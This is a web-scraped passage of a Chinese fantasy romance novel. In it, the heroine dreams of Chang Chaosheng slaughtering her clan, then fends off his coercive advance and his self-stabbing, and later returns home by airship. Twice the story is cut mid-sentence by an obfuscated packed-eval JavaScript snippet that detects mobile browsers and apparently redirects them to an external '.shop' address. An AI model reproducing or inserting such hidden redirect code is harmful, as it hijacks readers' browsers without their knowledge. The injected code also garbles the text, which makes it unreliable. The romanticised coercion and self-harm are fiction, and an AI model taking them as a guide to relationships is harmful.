流畅的眼型,眼尾微微上挑的弧度,泛着淡淡的红晕,睫毛根根分明,漆黑的瞳孔,黑白分明。 好像纳尽一方星河,沉郁而深邃,似能勾魂摄魄,教人神魂颠倒,欲罢不能。 …… 竟与常潮生那双眸子重叠在一起! 吓得她猝然惊醒。 猛地从床上坐起来,窗外天色已全黑,冬日寥寥,夜幕上繁星点点,随意散布,她飞快掀开被子,赤着脚踩在地毯上,瞥了一眼更漏,她只浅眠了一个时辰。 便翻出纸笔,坐到案几前,落笔如飞,只祈祷跑赢褪色的梦境,在纸上记录下更多的细节。 一口气写满了五六张纸,细密的字凑在一起,笔迹凌乱,张牙舞爪,还配上了一些乱七八糟的符号,写到最后手指僵硬,凉意沿着脊背攀爬至全身。 寒冷刺骨。 搁下笔,梦中纷繁万千的破碎画面褪色至透明,只一幕,只一幕,最后那一幕,就定格在原地,想忘也忘不了。 满地珠光昳丽,光晕淡淡,哀婉悲戚。 闭了闭眼,高度紧绷的心情稍稍平复下来,纸面上墨迹未干,她看了又看,在脑海中继续回忆、挖掘,直到再挤不出任何一丝遗漏。 终于,她晾干了笔墨,将纸张叠放在一起,压在砚台下,重新回裹进被子里,闭上眼,放轻呼吸。 沉沉睡过去。 如堕烟海。 玄青道旁长风起,满眼血红,腥气冲天。 林见微头脑一懵,脚下一股寒意直蹿天灵盖,熟悉的楼阁与大殿,熟悉的景致,左右两边玉墙高砌,但笔直的道路两旁尸体横呈,支离破碎,个个死相凄惨。 凛冽的风穿透过躯体,还是教她遍体生寒,如泊鲜血横流到她脚下,冲刷汇聚成溪流一般的水道。 她心头一跳,飞快向前跑,想要跑出这梦魇。 越过尸山血海,穿过雕梁画栋的玄青门,血液喷溅在白墙上,身侧景物也跟着动起来,眼花缭乱,浮光掠影之中,只看得见一道模糊的身影,一袭被鲜血浸染的红衣,状似鬼魅。 轻易了结了一个无辜者的生命。 那是谁? 她脚下一滞,仿佛被人扼住了喉咙,呼吸之间,冲破那一层无形的桎梏,她疯了一般继续向前,眼前光影更杂驳,便似夕照大江,波澜乍起,浮光跃金。 破碎的画面,熟悉的脸与陌生的场景,全部落入她眼中—— 混合杂糅成一片颓糜的红。 血色染尽,了无生息。 “常潮生!二姐!” 她猛地停下脚,神色惊恐错愕。 幻剑阁殿前,石台高筑,原本用来给弟子考核比试的高台早面目全非,汩汩血水沿着台子边缘淌下来,而高台上,数根粗壮铁柱拔地而起,锁链缠绕,周遭飘满了诡异的猩红色符文。 笔走龙蛇,邪气四溢。 林氏一脉,好多她看着眼熟的人浑身浴血,遍体鳞伤,打眼扫过去,修为尽失,双手被束缚,吊挂在铁柱上,锁链勒得人皮开肉绽,痛不欲生。 粼粼血光中,风一起,几乎迷了她的眼,这才看清,高台上绘制了一个符阵,紫红的线条不断变换交叠,波云诡谲,蚕食着众人的血肉与精气。 林扶摇和王添羽被囚于高台中心。 女仙双目半阖,腰佩林氏玉,身穿锦绣袍,明明已成了林氏家主,却鬓发散乱,头冠飘零,落到任人摆布,反抗不能的境地,好不狼狈。 她飞快奔上前去,如入无人之境。 44.在乎他 常潮生立于高台中央,一袭血衣,明明手无寸铁,眉眼却愈发显得冷厉阴郁,狠辣偏执,身形瘦削似浮木,刀劈斧凿,肃然矗立于四野狂风中,衣襟落拓,恍如漂萍,渐渐与之前那些凌乱画面中的模糊剪影重合到一起—— 这一切,都是他做的?! 血洗玉山?! 怎么会…… “常潮生?阿姐!” 这是怎么回事?是梦吗?真的发生过吗?在什么时候? 千万种猜测似蝗虫过境,一眨眼的功夫,什么都没留下,脑袋空空,一无所知。 她什么都碰不到。 只见,常潮生缓缓抬起手,磅礴妖力汹涌而出,刹那间,阴风四起,挟万钧之力,卷得锁链哗啦作响,阵法运转得更快,紫红色暗光照得天边滚滚而来的乌云黑沉沉一片。 电光闪烁,威压凛凛。 肃然劲风吹动火势燎原,幻剑阁中火苗欢腾,噗簌簌蹿起冲天火光,染红了半边碧空,云似火烧,便听得阵阵刺耳凄厉的惨叫,哭嚎震天,如怨鬼索命。 林见微身子一抖,僵硬着转头看去。 楼阁倾倒,火势蔓延,透明的结界里挤满了神色癫狂的人,大火烧灼,他们欲出不得,指甲在禁制上挠抓出划痕,血肉横流,看得她指尖一凉,仿佛钻心刺骨的痛。 “疯了,疯了……”她冲到高台中央,“你在做什么?” “住手!你快住手!” 一双虚影的手径直穿透过实影,什么也打捞不到。 男子无知无觉,依旧固执地将磅礴妖力灌进阵法中,铁柱上锁链抖动地愈发剧烈,一声声敲击碰撞似催命的音符。 林氏一脉,老幼妇孺,无一人幸免,在狂风中飘摇似破烂的旌旗,浑身抽搐,抖如筛糠,各个痛到神色狰狞,嘴里吐露出刺耳的咒骂,眼睁睁看着自己的血肉被蚕食,以一副灵力被废的凡人之躯,献祭给这诡谲的符阵。 高台上血流汇集,沿着符阵的纹路,一条条淌成小溪,将变动的笔法加深,向下渗透进石头中,便看得冲天血光,天边一道霹雳惊雷。 林见微一时被定在原地。 耳侧风声呼啸,哀嚎遍野,屋倾殿毁,阵阵雷鸣炸得她头脑空白,眼前的人恍惚出无数道血红的重影。 不,不要! “不要!” 她倏然睁开眼,面上惊恐之色尚未褪去,冷汗涔涔,呼吸急促,坐起身,单衣黏在皮肤上,丝绸的料子,身上是滑腻腻的阴冷,嘴唇翕张,似一条搁浅在沙滩上的鱼。 屋内烛火昏黄,窗外天光破晓。 眸光一恍,锦绣屏风后匿着一抹阴惨惨的影子,可怖的熟悉,顿觉心惊肉跳,“你怎么在这儿!” 常潮生缓缓从屏风后走出来,指尖轻拈几张雪白的宣纸,纸上笔迹乱飞,原本压在上方的砚台还被孤零零遗留在书案上。 “把它给我!” 她飞快冲上前将东西夺过,紧握在手中。 胸口提着的一口气还没来得及松懈,常潮生忽然发作,神色冰冷,一把攥住她细而瓷白的手腕,“三小姐还真是长情,到如今都还对人念念不忘。” “跟你没关系!”林见微想抽回手,试了两次都没挣开,空气中只剩纸页抖动,沙沙作响,“常潮生,你放开我!” 她仰头怒瞪他,一对上那双黑沉沉的眸子,气焰顿时弱了三分。 少年一袭红衣,眼底积压着灰败的风暴,冷厉料峭,似堕入一片由绝望汇集而成的海,在漫天海水中沉沉浮浮,她眼前一阵恍惚,便觉现实与梦境重合交叠,那一双眼睛…… 又于心中掀起滔天巨浪。 刺骨寒意直窜向头顶。 “为什么不敢看我?”常潮生哼笑一声,姿态强势,夺过她手中墨迹斑驳的纸,“又把我当成了谁!” 话音落,宣纸纷纷扬扬,撒出去,无风自燃,缓缓下落成簌簌飞灰。 林见微一怔,怒上心头,“常潮生,你太过分了!谁让你进我的屋子,还动我的东西!你给我出去!” 说着,她掐了个法诀用力甩开他的手,推得人一个踉跄,马上又记起此人先前的行径,彻底冷了脸色,“你不要再跟着我了!回玉山后你自己向长老提重测天赋,凭自己的本事进天阁吧。” 她算是明白,若是不将人从身边支走,前车之鉴,他怕是会继续从中作梗,阻挠她寻找旺财的下落。 “你赶我走?”常潮生向她逼近,眸光阴沉,便将之前老实缄默的伪装悉数抛之脑后,“你把我当成什么?” “一条你召之即来挥之即去的狗!” “你发什么疯!”林见微脸色发白,缓缓向后退,赤脚踩在地毯上,却觉难耐的冷,被旋涡般的恐惧攫住了喉咙。 “你怕我……你怕我!你凭什么怕我!” 被逼至退无可退的境地,小腿已贴上床榻边沿,林见微强稳住心神,虚张声势,“你现在这样不可怕吗!你出去,马上出去!” “唔——” 身形一晃,天旋地转。 少年欺身而上,林见微一脸惊愕,后背陷进绵软被衾中,床帐摇晃,顿觉周遭沉沉威压,压得她动弹不得,“常潮生,你疯了!你起来!” 她急额头上热汗涔涔。 二人紧贴着,衣料摩擦,鼻息之间便涌动着一股温热的平日里不怎么留意的熏香味,她伸手推他,对方纹丝不动。 挣扎间,薄薄的单衣豁开交叠的衣襟,便露出一片洁白的锁骨,二人青丝交缠,落在肌肤上,酥麻麻的痒,觉察到少年呼吸粗重三分,她顿时不敢再轻举妄动。 “起来,你起来……” 常潮生眼尾漾开一抹浅淡的红,昳丽无边,将她面上神色尽收眼底。 空出一只手,缓缓钳住少女的下颚,强迫她看向自己,眼神相触,冰凉的指尖碰上两瓣朱唇,指腹轻擦,描摹勾勒,最终停在她圆润饱满的唇珠上。 千般风流,万般柔情。 林见微身形僵硬,唇瓣上冰凉的触感引人战栗,湿哒哒的,阴冷黏腻,激起一身鸡皮疙瘩,眼前这张白皙俊俏的脸不断贴近,放大。 恍惚间,她仿佛于一双黑眸中窥见万千幻影交杂变化,一眼万年,便似被厉鬼缠上,阴森森的冷,摆脱不得。 幽冷的语调自唇齿间蹦出。 “你到底在怕什么,而他,又是谁……” 说罢。 少年俯身落下一吻,轻轻柔柔的,却不容置喙,极力克制着骨子里的侵略性,睫毛轻颤似即将破茧而出前竭力挣动的幼蝶。 隔着一根手指的距离,吻浅浅落在了自己的大拇指上。 呼吸交缠。 林见微脑子一懵,于这绰绰幻影中,晦暗不明的氛围里,不知不觉放松了警惕。 刹那间,一股熟悉到有些陌生的力量缓缓流入她识海,渡气一般,静静流淌,悄无声息,以一种无害且轻柔的姿态,缓缓擦亮了那藏匿于灵府中的那片鱼鳞形印记。 她心底陡然一惊,惊惧交加! 他竟然想通过那个契约窥探她识海中的记忆! “常潮生!” 用了十成十的力气,林见微猛一抬头撞上少年额头,撞得眼冒金星也顾不上了,瞬息间调动起周身全部灵力,几乎是抱着鱼死网破的决绝一把挣脱桎梏,飞快翻身滚到一边,与人拉开距离—— 利刃出鞘,剑光雪亮,寒气迫人。 剑锋直指少年咽喉。 “你想做什么!” “滚出去!” 她握剑的手止不住微微颤抖,气得发狠。 常潮生被她用力一推,斜倒在榻上,顺着锋利剑刃看过去,雪亮剑光的尽头,是少女那一双又惊又惧又厌恶的眸子。 他站起身,似被一盆冷水迎头浇灭了的火,垂首道歉,“对不起。” 屋内烛火噗嗤一声熄灭,窗外天光已大亮。 少年眉眼低垂,褪去周身戾气,规规矩矩站着,尽力将自己缩小成一团,便做出一副无害又无辜的模样,像极了一只无意调皮犯错后被主人惩罚的小狗。 “出去,我让你出去!” 林见微重重呼出一口气,咬牙切齿,依旧没有收剑,心跳飞快,久久难以平复。 她才不会再轻易被他的伪装迷惑!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228895|147461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我错了。” “我让你出去!”她又强调一遍,“反正你如今也有了立身之本,日后就不要再跟着我了!” “我错了……”他却重复着相同的话。 掀起眼帘,还是那一双黑沉沉的眸子,眼波流转,波光潋滟下静静流淌着暗涌,藏在更深的水底,乍看起来无悲无喜,木讷得像一个假人。 “出去。”林见微剑锋向前一寸。 “你要赶我走。”少年抬手握住剑刃,撕下了那一层造作的伪装,眼尾猩红,便抓着剑刃径直送入锁骨下方两寸。 血流如注。 林见微一怔,飞快想抽回剑。 纹丝不动。 鲜血沿着掌心中豁开的刀口,蜿蜒流淌,染红十指,濡湿进袖口。 “你松手!”林见微强作镇定,一咬牙,狠心拔剑。 常潮生反握得更紧。 锋刃摩擦过血肉,似乎在骨头上刮擦出沉闷的响声,吓得她浑身一抖,直愣愣松开剑柄,任由长剑落于人手。 少年却无知无觉,眼睑垂下,眸光阴翳,漠然拔出刺入血肉的剑,随手一抛,嘭然一声闷响,斑斑血迹溅落上图案精致繁复的波斯地毯。 林见微颓然跪坐在一片柔软被褥中,床帐斜挂着,轻纱摇晃,她直直望着他,被磨得没了脾气,神色疲惫,“你先把伤口……” 话未说完,常潮生却先自顾自笑出声来,“哈哈哈哈……” 肩膀抖动,神态癫狂,眼角晕出一滴细碎的泪,晶莹的珠子似浮尘一般飘落。 “我有了立身之本你便想一脚将我踢开……”他摊开掌心,在鲜红的衣摆上擦去血渍,浑不在意被剑刃豁开的那两道深可见骨的伤口,“怎么可能呢?” “是不是我一无所有你才会多怜悯我三分!” 说罢,清隽十指翻飞结成法印,一息之间,云雾般朦胧轻灵的气流在掌心汇集成一刃寒光四射的短刀,他举起利刃,便直向自己妖族灵穴刺去! “住手!” 林见微大惊失色,飞快朝人扑过去,一头撞进常潮生怀中。 他心头一紧,指尖法诀溃散如烟,利刃收敛于无形,脚下一个踉跄,下意识搂紧怀中的少女,便是一阵天旋地转,抱着人嘭然重重摔到地毯上。 “唔——” 伤口牵动,一声闷哼。 “你没事吧?” 林见微手忙脚乱从他身上下来,额间一片温热,抬手一模,鲜血淋漓,血珠还在沿着脸颊向下滑落,一整个凶杀现场的既视感。 再看向常潮生,自己刚刚居然一头撞到了他锁骨下方的伤口上! “咳哈哈……”他勉力坐起身,抬手摁住咕咕冒血的伤口,眼尾昳丽,笑看向她,双眸便似淬着毒的妩媚,“三小姐还真是善良又好心。” “你闭嘴!”林见微深呼出一口气,抬手捂住他那张蹦不出什么正常词句的嘴,欺身将人压在地板上,气急败坏,“常潮生!你是不是疯了!” “我是不是说过让你不要拿自己的命开玩笑!让你爱惜自己!你刚刚想做什么?又想跟剜护心鳞一样卖惨博同情?” 她几乎喘不上气,停了两秒,怒目圆睁,狠狠瞪他,“我告诉你!不在乎你的人,无论你怎么自虐卖惨,都不会在乎你!” “你清醒点!” 真该死啊,她为什么要跟一个病娇讲道理! 常潮生睫毛颤了颤,忽然掀起眼帘,眸底掠过一丝亮光。 所以。 她现在是…… 在乎他。 林见微捕捉到他眼底那一抹涟漪,思绪同频,心下了然,赶忙将手捂得更严实,不给他张口的机会。 “你闭嘴,我还没说完!我警告你,要是下次你再像今天这样,我们彻底玩儿完!听懂了吗?” “听懂你就眨眨眼。” 他浅粉的眼尾勾出更大的弧度,向上挑起,一刹那间肖似寒川消融,春花明艳,轻阖上眼,片刻后重新睁开,眸光潋滟,晶亮亮似斛珠千斗。 林见微这才露出满意的神色,收了手,“行了,你自己回去把伤处理好。” 45.可恶 “哈哈哈哈……”常潮生笑容更恣意,眼角眉梢,整张脸霎时间明媚妖冶起来,无意间点缀在雪白肌肤伤的血渍,平添三分昳丽。 他抬手虚掌住林见微的腰,仰起脸,笑意不减,“不如你先从我身上下来。” 林见微一怔。 自己刚刚竟然一直跨坐在常潮生腰上! 救命! 她飞快收回腿,脸色绯红,赶紧将凌乱的衣襟整理好,连拉带拽将人赶出门去,“你自己回去将把伤口包扎好。” 说罢,房门“啪——”一声阖上。 一转身,满地狼藉。 林见微脑子一懵,只看到绵软厚实的地毯上积了簌簌飞灰,正是她先前写的几页笔记,烧的干干净净。 她是不是让他蒙混过关了? 可恶。 清理干净一身血渍和一地脏乱,收起佩剑,她重新坐到案几前,提起笔,半晌没有落下,笔尖一小滴饱满的墨珠落到宣纸上,晕染成墨花,风吹纸动,她赶忙用镇纸压住。 这接连的两场梦…… 是前世发生过的事吗? 可关于旺财那一场尚且还算能够理解,那常潮生呢? 他没有死在鲛人王族和林王两大世家的联合击杀下,他复仇成功了?还血洗了玉山?大摆祭台,残忍夷灭了连带着林扶摇在内的所有林家人? 她原先自恃洞晓剧情,明了众人结局,也许大部分都是假的。 “唉——” 轻叹一声,她搁下笔,将落了墨的宣纸揉成一团。 管它那么多呢,火烧眉毛就等烧到了再说吧。 翻出枕头下的储物袋,又换了身绿萝色襦裙,她随手挽起长发,插一根素簪,便推开门出去。 踏出门槛的脚步一顿,“阿姐,你怎么……站在我门口?” 林扶摇抱臂而立,便是风姿绰约,世无其二,目光上下扫过她一声装束,面上淡漠寂寥,似深秋晨起时露草上化不开的冷霜,“你屋里动静不小,我出来看看。” “啊?”林见微惊得差点跳起来,面上尴尬一笑,“没,没事,就是稍微吵了一两句,没打扰你修炼吧?” 她怎么忘了林扶摇的房间也在她隔壁啊,刚刚常潮生发疯说的那些尴尬语录不会都被人听到了吧…… “没事便好。”收回目光,林扶摇转身便走,出走两步,忽地停下来,回身深深看她一眼,“乱咬人的狗就该早点处理干净。” “嗯嗯!”林见微忙不迭点头应下,目送那一道冰肌玉骨的身影飘远。 却挠挠头,一脸狐疑。 二姐怎么知道她最近跟修御兽道的弟子打交道,正打算弄只犬类妖兽来养养?只不过那妖兽性子顽劣,不服管教,御兽的弟子也不敢轻易给她。 哎,也对。 她可是想要竞争家主之位的野心家,留点眼线监视她这个真千金也正常。 想着想着,她款款步下楼梯,木质扶手上刻着百花图案,大厅中,金碧辉煌,白日里照样明灯闪烁,珠光璀璨, 随手推开二楼一间空闲的茶室,她进屋找了个临窗的位置坐下。 茶几上冷清清的,放着一套紫砂茶壶和茶杯,做工精致,案几边,小火炉里火光绰绰影影,火炉上的水壶里飘着袅袅热气。 半掩的窗户外,天与地与山与水,上下一白。 凛冽冬风呜呜刮进来,不知不觉又是一年。 自顾自沏上茶,手法生疏,她浅尝一口,芬芳扑鼻,浑身都暖洋洋的,便翻出储物袋中的糕点和灵果,小口小口吃起来。 吃东西的时候眼睛也没闲着,看了一会儿故事曲折动人的话本子,又看一眼纳尽天下瑰丽奇观的风物志,案几最边上还摊开了两卷玉简,刻录了两门截然不同的功法。 好不悠闲自在。 消磨到日暮时分。 隔着屏风,茶室门口探进来一个脑袋,纪青看到是她,便大大咧咧推门进来,身后还跟着几个背书背到头晕眼花,不知今夕是何年的医修,正好来散散心。 “哟,你这日子倒是过得清闲。” 林见微浅笑吟吟,阖上书卷,“我又不是医修,当然过得清闲。” 纪青瞪她一眼,自顾自招呼众人坐下,目光不住环视屋内陈设。 “你在找什么?” “找人啊。”她抬手斟满一杯热茶,“那鲛人平日里跟你形影不离的,怎么,你们俩吵架了?” 话音落,跟进来的另外两名女修顿时露出八卦的神情,双目圆睁,等着她回答。 “哪能啊。”林见微连忙否认,捧起茶杯装模作样浅抿一口,“他在秘境里受了伤,现在在屋里养着呢。” 纪青眼一眯,神色戏谑,“是吗……” “当然当然。” “那我后来可听说……咱们俩被抓进帝王陵墓时,他为了找你,那是把命都豁出去了,差点把地宫中的鬼尸都清理了个遍……” “所以这不是才伤得不轻嘛!”林见微连忙打断,转移话题,“对了,鲛人族是不是有个什么契约,就是跟护心鳞有关的……能解除吗?” “嗯?”纪青眉梢一挑。 左右两个医修眼睛都亮了,“你们绑了妖契?” “这可不好解开,一只妖一生只能与一人绑定一次,若想解契,除非其中一方身死。”纪青颇为无奈看她,“你被忽悠着绑上了?” “不,不会吧?这么霸道?”林见微身子前倾,美目流转,扫过对面三人,“会不会是什么别的契约?” “这我们可就不清楚了。”女修一摊手,“你去问问他不就得了。” 她闻言默默收回脖子,心有余悸,面上讪讪。 可别了吧。 若是常潮生知晓她暗地里打听解除契约的事,指不定会做出什么。 头痛。 …… 纪青三人刚坐了一会儿,还没聊得尽兴,门口便有人来催促,说有医修大佬临时加课,让她们快快去听课学习。 林见微颇为同情看她们一眼,将人送到门口。 转身阖上门,伸了个懒腰,在门口落下简单的结界。 窗外日薄西山,夕雾笼飞雪,茫茫一片,残阳如血,不一会儿霞光漫天,远远近近的层云,至远处的一线天却亮得清澈。 收回目光,她随手在地上画了个聚灵阵,放好蒲团,便安心闭目打坐,运转功法,吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240082|147461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纳灵气。 这一修炼便不知岁月如流,时节不居。 一直到飞舟登上浮生岛,她才终于睁开眼。 不得不说,秘境中般若殿一番奇遇,的确让她受益良多,这修炼速度较之从前简直称得上脱胎换骨,一日千里,不过几息便能入定,不知不觉便沉了进去。 推门出去。 只见楼下大厅里已经聚集了不少人,密密麻麻的人头,她倚着栏杆向下俯瞰,乍一眼看,像颗颗饱满的莲子,嵌在青色莲蓬里。 大风吹拂,巨轮微微一阵摇晃,速度放缓,眼看着是要准备降落了。 少女提起裙摆,飞快奔下楼去。 荷叶边卷起层层涟漪,似风一般,轻飘飘带起一阵香风,人群避让,她便如游鱼一尾,眨眼间身姿灵巧蹿到了中央。 “大哥,二姐!” “好不容易安心修炼了一段时间,一出来还是这么冒冒失失。”林戈摆摆手让身边的人退下,这飞舟马上便要到玉山了。 林见微憨笑两声,便向林扶摇飞去一个求助的眼神。 “马上要到了,你东西都收拾好了吗。” “没有,我马上去!”林见微作势欲趁机抽身,不料一转头差点撞进少年胸膛中。 常潮生抬手虚揽住她的腰,手心摊开,正躺了一枚储物戒指,“已经收拾好了。” “啊,多谢多谢。”她拿过戒指,默默躲到常潮生背后,只探出一只脑袋。 林戈没好气瞪她一眼,“行了,下船吧,到了。” 常潮生虽是妖族,但他一向对俗世偏见不以为意,也不爱以种族看人,这鲛人于秘境中有奇遇,实力已然今时不同往日,又对小妹忠心,若是小妹有意,两人也算是可堪匹配,他便没有阻挠的必要。 林见微忙不迭跟上。 去时是群舟蔽日,艳阳高照,归来却是孤舟飘零,雪冻三尺。 众人本就是因收到族中消息才急匆匆赶回来,以为玉山出了什么事,更是脚步不停,巨轮刚一停靠,便飞快御剑而出,阵阵光亮划过长空,耀眼夺目。 昭阳殿前。 人迹寥寥,高门紧闭。 “父亲,母亲?”林戈那张玉白的脸上掠过一抹疑惑,以法诀传音进去,毫无回应,便带着众人走到门前。 明明殿内有人,明明玉山一片祥和,怎么看也不像是遭遇外敌的样子…… “怎么回事?”高定之与林戈比肩而立,神色凝重,也觉察到其中异常。 林扶摇眸中闪过寒光,却飞快收敛好,心中隐有猜测,“进去看看不就知道了。” 但就算落到最差的境地,她也决不能在此时退缩。 那些效忠于她的家臣和部下,都在观望她的处境与态度。 林戈抬手,掌心蓄起灵力,轻飘飘便听得一阵短促的低沉摩擦声,殿门洞开,凛冽寒风刮着几片细碎的雪花飘进去,寒雾缥缈。 而大殿之中,高堂满座,人人衣冠华贵,气氛肃然。 林见微打眼扫过去,这,这些人看着有些眼熟,有些是林氏长辈宗亲,她在认亲大殿上匆匆见过他们一面。 那大殿至高处,坐着的自然是家主林续。